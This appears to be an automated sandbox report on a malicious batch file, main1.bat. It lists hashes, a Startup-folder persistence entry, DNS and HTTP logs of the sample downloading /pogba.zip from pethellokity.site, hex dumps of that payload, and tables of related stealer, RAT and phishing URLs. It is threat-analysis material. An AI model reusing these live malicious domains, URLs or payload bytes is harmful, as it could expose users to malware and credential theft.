Cookbook Comments:	Found application associated with file extension: .bat

Time	Type	Description
02:56:32	API Interceptor	87x Sleep call for process: powershell.exe modified
08:56:35	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.59.81	file.exe	Get hash	malicious	Invicta Stealer, XWorm	Browse	ipinfo.io/json
	Code%20Send%20meta%20Discord%20EXE.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
185.199.111.153	http://maine619.github.io/office/	Get hash	malicious	HTMLPhisher	Browse	maine619.github.io/office/
	http://milumuduli.github.io/netflix-template	Get hash	malicious	HTMLPhisher	Browse	milumuduli.github.io/netflix-template
	http://rajdeep-006.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	rajdeep-006.github.io/Netflix-Clone
	http://amitavadatta2004.github.io/Netflix-Clone-	Get hash	malicious	HTMLPhisher	Browse	amitavadatta2004.github.io/Netflix-Clone-
	http://sanjaygowda23.github.io/netflix-homepage	Get hash	malicious	HTMLPhisher	Browse	sanjaygowda23.github.io/netflix-homepage
	http://robinroji.github.io/netflixclonesite	Get hash	malicious	HTMLPhisher	Browse	robinroji.github.io/netflixclonesite
	http://cnfrmaccspgs0logg.github.io/	Get hash	malicious	HTMLPhisher	Browse	cnfrmaccspgs0logg.github.io/
	http://accs-homelog.github.io/	Get hash	malicious	HTMLPhisher	Browse	accs-homelog.github.io/
	http://acticityaccountactuallypages.github.io/	Get hash	malicious	Unknown	Browse	acticityaccountactuallypages.github.io/
	http://i-am-sherlocked21.github.io/netflix	Get hash	malicious	HTMLPhisher	Browse	i-am-sherlocked21.github.io/netflix

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	pyld611114.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://bu.marcel-andree.de/	Get hash	malicious	Unknown	Browse	34.117.59.81
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Invicta Stealer, XWorm	Browse	34.117.59.81

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	CGESrv	Get hash	malicious	CobaltStrike	Browse	151.101.67.6
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.199.111.133
	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse	151.101.129.44
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.199.110.133
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	151.101.194.137
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://fm.blebsions.com/R7tS/	Get hash	malicious	Unknown	Browse	151.101.194.137
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.199.111.133
	https://www.asda.com@hnvs.xyz/asda-christmas-prizes	Get hash	malicious	Unknown	Browse	199.232.196.193
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse	34.117.39.58
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	34.117.188.166
	http://bluepeak-group.com/fc	Get hash	malicious	Unknown	Browse	34.117.77.79
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	34.117.188.166
	pyld611114.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	do.ps1	Get hash	malicious	Unknown	Browse	34.117.188.166
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	arm5.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	34.65.20.112
	https://walli.shanga.co/image/view/?id=1375	Get hash	malicious	Unknown	Browse	34.117.188.166

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	185.199.111.153
	dlhost.exe	Get hash	malicious	XWorm	Browse	185.199.111.153
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	185.199.111.153
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.199.111.153
	TT copy.js	Get hash	malicious	FormBook	Browse	185.199.111.153
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.199.111.153
	Rapporteer inbreuk op auteursrechten.lnk.d.lnk	Get hash	malicious	Unknown	Browse	185.199.111.153
	File di reclamo per violazione del copyright File di reclamo per violazione del copyright.lnk.d.lnk	Get hash	malicious	Unknown	Browse	185.199.111.153
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.199.111.153
	alyemenione.lnk	Get hash	malicious	Havoc, Quasar	Browse	185.199.111.153

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Document\DLLs\_asyncio.pyd	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse
	run.cmd	Get hash	malicious	Unknown	Browse
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse
	based.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	y.bat	Get hash	malicious	Braodo	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	https://github.com/thonny/thonny/releases/download/v4.1.6/thonny-4.1.6.exe	Get hash	malicious	Unknown	Browse
	crss.exe	Get hash	malicious	Unknown	Browse
	BB.bat	Get hash	malicious	Braodo	Browse

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	28711927
Entropy (8bit):	7.996861665457971
Encrypted:	true
SSDEEP:	786432:e/Mvk1Tjed8J/wK4Ii/WkOOO66sjZiJ6l:e/RRO82JIvkOD6tl
MD5:	0B8A3CED96226D491E8519CDE110A89C
SHA1:	27294C64140CD67E57424AC17EB9B0AC884E0B59
SHA-256:	824847516F4A04AA48AC9256B3C7D676DC1BC56A3D0171ECF56C526C70A349DE
SHA-512:	89CF6F80658A98812BF417D116B271B0A50F15457AEBA0008E233846701275AF233C74CE3425B29878F27DC7DBFEBA78F86406277D8023F1C300A2C5AD3AFB1B
Malicious:	true
Reputation:	low
Preview:	PK.........m.V\....M..........vcruntime140_1.dll..XSG.8>. ......5j....$.....J... (K.....,.JKwkm..R.].....;jmQ...h.....w.....m......{...s9sf93s..sf&..eH....k.#..........w....3...v......L.Y...2d....,.l.Q.m..e.T..d.Y...//w9GB..n<.~<..^.w,..p.X...........e.O...x8..5A..x<....@..d.4CC.9.N.P.2..g..$G\#....{..!..b..J.#e..<.....pG,d....K/!$`J....i...#...g.By8....2.....D...........B(.=...H.S.....z..b6.........wzd.....$3pJ....@..2.."..d..1,....U...L..:..A/;'..t.oR....e`y.vp..?.o$...y.1OJ..k.......M+'H[.<ReS..$....XC....$UCR..).]...Y....No-K.h..%.u^IWE..ZL_.(..q%.p.J+W@MI........6?N..bbL...].......h.s......R..,&)...@...7..NF.7.0...'.4...hR......\...}XJd.a..x..:J.D.r2.-q...BK,.....6.s..J.,.0.&.:a.i..)......}.Z....=$5.@.`..c.^$.#).....p..5.....qP..............Nf...P...v.H...M...h.w.4.IA.u..-.5.....b...5..c...AE.1.6].......#&..........g...k....A.ib.a7.$......9F_..G.%b."..$AR..Dx.nM".~\.i3..l....I..J\-.K..Pu$u[K]..+...fI.!OL.~.!M..k..I}....AI....b..

Process:	C:\Users\Public\Document\python.exe
File Type:	data
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.354062425379628
Encrypted:	false
SSDEEP:	96:9gdNzUuGd+P2sKNUWOom2j8kQAnPPELBG0uY:Y4BRROom1gPG00uY
MD5:	C91235C6F5497CD2EE8E3B5B8630F909
SHA1:	843A0AF3B5F6EED6858333432BDAB79D84257E3E
SHA-256:	9F55C8B7FA9ED38A62A872C7F3AB2C6BF16A208AE8904819629835E935F1C157
SHA-512:	7F8470278524C9D9F1552855DDB7D96ECE1B0EAC52FF33C419112AD78EBB8B5CC11BEAFB09569E9E8ECD762CA0E2D211A42C4CA804F27267B74522300B7077DC
Malicious:	false
Preview:	o........b,d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	5.9440398524669344
TrID:	Bio-Rad Image(s) file (2/1) 100.00%
File name:	main1.bat
File size:	9'134'021 bytes
MD5:	b58be6ba7738b45b198fc64d93a99a7a
SHA1:	85a7b302a3fc642ba357587987873a72ad469bbd
SHA256:	4eee20bea2022297a7f22c80a650d15153487980fc0d57bee9eed1276d5197cd
SHA512:	c4f7a102f594424e3c36506bd95a7c947ab944e91e4bd41b5f0cdb45c64b88f5fbb03667a5ecb03e57b1ce1de8698da2d9088a8a09db17c73b043516d36698b4
SSDEEP:	1536:XnRMenRMenRMenRDnRMenRMenRMenRDnRMenRMenRMenRDnRMenRMenRMenRDnRi:x+
TLSH:	05966D20BC05FDA4709F55591FBCDFE28A1BA240BAC3E99192543D0CCAD38BBED84563
File Content Preview:	echo ahdfaklakdfajkfmnbvcxzasdfghjklpoiuytrewq1234567890mnbvcxzasdfghjklpoiuytrewq1234567890mnbvcxzasdfghjklpoiuytrewq1234567890mnbvcxzasdfghjklpoiuytrewq1234567890mnbvcxzasdfghjklpoiuytrewq1234567890mnbvcxmnbvcxzasdfghjklpoiuytrewq1234567890mnbvcxzasdfgh

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:56:34.251140118 CET	192.168.2.5	1.1.1.1	0xc9fe	Standard query (0)	pethellokity.site	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:57:52.260864019 CET	192.168.2.5	1.1.1.1	0x1ff2	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:56:34.744923115 CET	1.1.1.1	192.168.2.5	0xc9fe	No error (0)	pethellokity.site	185.199.111.153	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:56:34.744923115 CET	1.1.1.1	192.168.2.5	0xc9fe	No error (0)	pethellokity.site	185.199.110.153	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:56:34.744923115 CET	1.1.1.1	192.168.2.5	0xc9fe	No error (0)	pethellokity.site	185.199.109.153	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:56:34.744923115 CET	1.1.1.1	192.168.2.5	0xc9fe	No error (0)	pethellokity.site	185.199.108.153	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:57:52.399938107 CET	1.1.1.1	192.168.2.5	0x1ff2	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report main1.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\DLLs\_asyncio.pyd

C:\Users\Public\Document\DLLs\_bz2.pyd

C:\Users\Public\Document\DLLs\_ctypes.pyd

C:\Users\Public\Document\DLLs\_ctypes_test.pyd

C:\Users\Public\Document\DLLs\_decimal.pyd

C:\Users\Public\Document\DLLs\_elementtree.pyd

C:\Users\Public\Document\DLLs\_hashlib.pyd

C:\Users\Public\Document\DLLs\_lzma.pyd

C:\Users\Public\Document\DLLs\_msi.pyd

C:\Users\Public\Document\DLLs\_multiprocessing.pyd

C:\Users\Public\Document\DLLs\_overlapped.pyd

C:\Users\Public\Document\DLLs\_queue.pyd

C:\Users\Public\Document\DLLs\_socket.pyd

Windows Analysis Report
main1.bat

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\future.cpython-310.pyc.1935616272304

C:\Users\Public\Document\Lib\pycache\_collections_abc.cpython-310.pyc.1935598908592

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compat_pickle.cpython-310.pyc.1935610060080

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_compression.cpython-310.pyc.1935598906928

C:\Users\Public\Document\Lib\pycache\_sitebuiltins.cpython-310.pyc.1935603987632

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\_weakrefset.cpython-310.pyc.1935610054832

C:\Users\Public\Document\Lib\pycache\abc.cpython-310.pyc.1935603762096

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\ast.cpython-310.pyc.1935627121840

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\base64.cpython-310.pyc.1935609413680

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bisect.cpython-310.pyc.1935632064096

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\bz2.cpython-310.pyc.1935635560048

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\calendar.cpython-310.pyc.1935616270768

C:\Users\Public\Document\Lib\pycache\codecs.cpython-310.pyc.1935599058288

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\contextlib.cpython-310.pyc.1935598910768

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copy.cpython-310.pyc.1935625893040

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\copyreg.cpython-310.pyc.1935604192176

C:\Users\Public\Document\Lib\pycache\dataclasses.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\dataclasses.cpython-310.pyc.1935655693232

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\datetime.cpython-310.pyc.1935609265072

C:\Users\Public\Document\Lib\pycache\dis.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\dis.cpython-310.pyc.1935656705856

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\enum.cpython-310.pyc.1935603775536

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\fnmatch.cpython-310.pyc.1935603984944

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\functools.cpython-310.pyc.1935603984432

C:\Users\Public\Document\Lib\pycache\genericpath.cpython-310.pyc.1935603985584

C:\Users\Public\Document\Lib\pycache\glob.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\glob.cpython-310.pyc.1935655989552

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc (copy)

C:\Users\Public\Document\Lib\pycache\hashlib.cpython-310.pyc.1935609252784

C:\Users\Public\Document\Lib\pycache\heapq.cpython-310.pyc (copy)

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:56:36 UTC	76	OUT	GET /pogba.zip HTTP/1.1 Host: pethellokity.site Connection: Keep-Alive
2024-12-19 07:56:36 UTC	645	IN	HTTP/1.1 200 OK Connection: close Content-Length: 28711927 Server: GitHub.com Content-Type: application/zip Last-Modified: Sun, 08 Dec 2024 19:08:58 GMT Access-Control-Allow-Origin: * ETag: "6755eeca-1b61bf7" expires: Thu, 19 Dec 2024 07:54:47 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: A525:2DABF6:A55696:B42614:6763CEED Accept-Ranges: bytes Age: 0 Date: Thu, 19 Dec 2024 07:56:36 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740064-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1734594996.256580,VS0,VE14 Vary: Accept-Encoding X-Fastly-Request-ID: cbb8aa7cd12fc8d7a1ee0beead737d7fdd953745
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 fd 6d 84 56 5c c5 e6 e0 c9 4d 00 00 88 91 00 00 12 00 00 00 76 63 72 75 6e 74 69 6d 65 31 34 30 5f 31 2e 64 6c 6c ed bd 09 58 53 47 d7 38 3e d9 20 ac 09 0a 0a 0a 1a 35 2a 6a c5 cb a2 82 b8 24 92 e8 8d 06 8d 82 4a dd 08 86 20 28 4b 0a 89 e0 0e 04 2c f1 4a 4b 77 6b 6d 8b fb 52 df aa 5d ad d5 0a a2 82 3b 6a 6d 51 db 8a d6 d6 ab 68 8b d6 05 b7 e6 77 e6 de 1b 08 a8 6d df e7 ff bd ff ef 7b be e7 bb cf 73 39 73 66 39 33 73 e6 cc 99 73 66 26 97 d8 a9 65 48 80 10 12 c2 6b b7 23 b4 0b b1 8f 02 fd 83 87 87 90 77 d7 dd de e8 33 b7 e3 dd 76 f1 b4 c7 bb c5 a7 a6 e5 c8 4c d9 59 b3 b3 93 32 64 86 a4 cc cc 2c b3 6c 96 51 96 6d c9 94 a5 65 ca 54 e3 e3 64 19 59 c9 c6 10 2f 2f 77 39 47 42 95 b8 6e 3c 1a 7e 3c d0 f1 5e 19 77 2c 88 0f 70 e2 58 16 Data Ascii: PKmV\Mvcruntime140_1.dllXSG8> 5*j$J (K,JKwkmR];jmQhwm{s9sf93ssf&eHk#w3vLY2d,lQmeTdY//w9GBn<~<^w,pX
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: d6 29 bf c2 eb 47 2c 75 88 a4 ce e0 4e de 0d 80 4e 0e 68 2e e6 ee 5c 6c 43 4b b1 96 02 bb 70 01 57 bb df b1 68 e8 09 23 a4 b8 1f 91 b8 1f 0a 2c ac ca 99 d0 07 ea 00 08 b7 58 6b 53 f8 4f 9a 3c 45 19 df 2c ac 7a 2d b5 4d 5e c1 34 00 3a 74 59 5b 4a 4a 49 ea 5a 2c 75 50 43 7d af a1 8e d1 3d 7a 22 a4 a5 56 c8 6b 11 86 8d 24 f5 99 bc 06 e7 06 d6 7a 6b 71 13 6a 49 ea 38 7d 8e 19 a6 15 f2 3a 48 a2 5e 14 53 51 f4 d5 3e b8 a5 e3 a4 b1 d4 09 2d 55 24 c7 cb 23 4c dc e5 2b e4 4d 8c 98 9c 2d d1 ca 75 40 5f 0b 1c 25 31 6f 15 c0 e4 48 40 08 ad 2d 5d 1e 4c da 54 72 19 1d de 0b 67 5d 2d 2f 67 55 a7 9e 1d 10 e5 f4 c4 99 33 f0 fc 53 4c 8a 73 ea 4a e9 36 79 1e 56 79 05 37 4a 98 65 43 b4 21 0d 40 38 74 5b 6d d2 52 9f 37 32 ed 7f a8 a5 36 88 99 e4 73 58 d1 e6 69 a8 13 1a ea 94 Data Ascii: )G,uNNh.\lCKpWh#,XkSO<E,z-M^4:tY[JJIZ,uPC}=z"Vk$zkqjI8}:H^SQ>-U$#L+M-u@_%1oH@-]LTrg]-/gU3SLsJ6yVy7JeC!@8t[mR726sXi
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 3c 11 49 2b 4c 44 e4 34 13 83 9a f0 4c 84 ae 03 27 de ba 6c b7 6b 28 9d d3 42 e3 c6 2d 34 6e ce 0b 8d c6 a6 83 49 a2 f0 ff 67 d9 02 ff 26 1b 64 91 91 a5 23 85 38 3b e5 ae b4 91 72 98 99 7a 7b a5 c6 a6 10 c3 34 d4 47 c7 6e 96 14 a6 32 56 42 6c 30 9e 0d 17 e5 cc 6c 88 6c 3b 1b ec 7e a2 70 84 1c f6 0a 69 4b 05 a3 cb e4 8f ad 74 d6 ee 0a bf 10 8b ad 90 eb 24 f5 20 ea 45 a1 a4 08 af eb a4 e1 25 21 3d af 1b 96 85 1a ad e0 84 a4 e8 02 44 82 61 28 21 0d b9 42 7a 46 37 c6 dc 74 c1 e6 e6 51 ea 8f c8 17 c1 a0 de 0d 19 ee b9 e6 9b dd ef a9 91 54 52 fc 11 9b df 87 0e c5 79 81 be 61 b4 90 14 34 62 23 f2 0f 2e 0e ac 72 35 c4 d5 90 d1 b7 cc 63 a3 12 85 90 59 f8 8c cc 38 4e 0b 39 35 d6 0a a9 56 00 42 33 4a 0a ba 0a 94 d8 48 c9 17 be a8 df 11 8b 2b 69 af 00 b7 e6 66 f1 61 Data Ascii: <I+LD4L'lk(B-4nIg&d#8;rz{4Gn2VBl0ll;~piKt$ E%!=Da(!BzF7tQTRya4b#.r5cY8N95VB3JH+ifa
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: a4 86 3a 4e cb fc f1 46 e2 15 4b 58 c1 70 46 ff f5 b5 2e 01 af 5e 4e 8d 6a f1 ea a1 43 e3 82 e9 97 a1 c2 e2 0a b3 3b 5b bd 08 30 fa b1 27 76 7f f2 64 f4 1f 9e cc 9e 68 30 ed cd 36 bd 9e 69 3a 8d 3c 1d db 1b 58 60 0b 0e 60 61 51 26 72 56 1b c8 55 78 85 b6 34 a8 73 9d dd 5e a2 f4 67 04 5d 19 a8 a5 2a 1d 0a 8a a4 94 62 d5 72 b0 b5 75 3c 55 c9 04 7f ac 35 94 f7 f6 f3 cc bd 5b e6 70 00 37 87 03 da 58 95 81 8c 01 7a 6f 3f df ec 4d f1 49 eb 7e 21 67 90 ca 20 4e f8 4f 08 c8 19 93 94 af 2d 1d 23 04 2c 58 b9 7c bf 9c 88 b5 91 98 a6 d8 1c 3d 54 6a 91 6a 0c 6e 9a 52 a5 10 9b aa 1a 1b 49 54 0d 85 55 f8 53 ac 8b 0d 3c 4d e9 04 a6 42 48 23 b0 32 21 0d ee 38 db 35 7c 7a 04 45 09 70 4f dd 9e 55 bf b6 5f 8d 92 52 90 4a 6a c2 e3 33 d7 05 fb 71 7d 98 04 90 b6 4c c7 65 94 94 Data Ascii: :NFKXpF.^NjC;[0'vdh06i:<X``aQ&rVUx4s^g]*bru<U5[p7Xzo?MI~!g NO-#,X\|=TjjnRITUS<MBH#2!85\|zEpOU_RJj3q}Le
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 62 4d bf fd 64 74 ed e2 81 12 29 4f e2 03 da 85 d5 19 78 7b 4f 1b 5d 3b 6f 12 56 5e 60 15 c7 cb 83 69 f7 3f 59 6b 2a d8 5e 45 46 8d 16 e7 5e 69 18 2c 91 ba 2a a9 73 6d ca 69 a2 14 e2 79 81 4e 05 4f 3d c1 05 c1 b3 b3 1f 25 a3 c6 41 41 aa aa 41 60 ad 61 64 5e 81 c5 0a ef 0c 10 4e 46 34 69 9d 2f c6 3e 40 3c de 07 92 a8 95 e2 aa 63 cf 3e 2b cc 87 7c 5a ea 36 49 dd 32 8f c7 27 e1 20 bd a3 49 eb 49 3b 69 af ce 1f 1a 89 2c f7 c9 d2 f1 3c bb df 15 66 3b a4 0e 27 07 69 29 17 b2 74 0a d8 67 35 76 3f 21 de 80 a1 aa 94 87 46 89 c1 8d 72 09 bf 00 a3 65 f7 3b 04 b9 1b dc 31 39 1b ff d0 48 31 7a f6 c1 9f 22 ce d1 00 90 0c b3 1b 49 b9 81 bf 8a eb b1 f6 40 87 62 c4 a8 d9 f7 88 3e 62 0e 00 f3 ca 0d b4 ac 1b 88 e9 72 f1 10 4f a9 c5 9d b4 57 14 1d b6 dc 0e af a8 ea 5c 61 ad Data Ascii: bMdt)Ox{O];oV^`i?Yk^EF^i,smiyNO=%AAA`ad^NF4i/>@<c>+\|Z6I2' II;i,<f;'i)tg5v?!Fre;19H1z"I@b>brOW\a
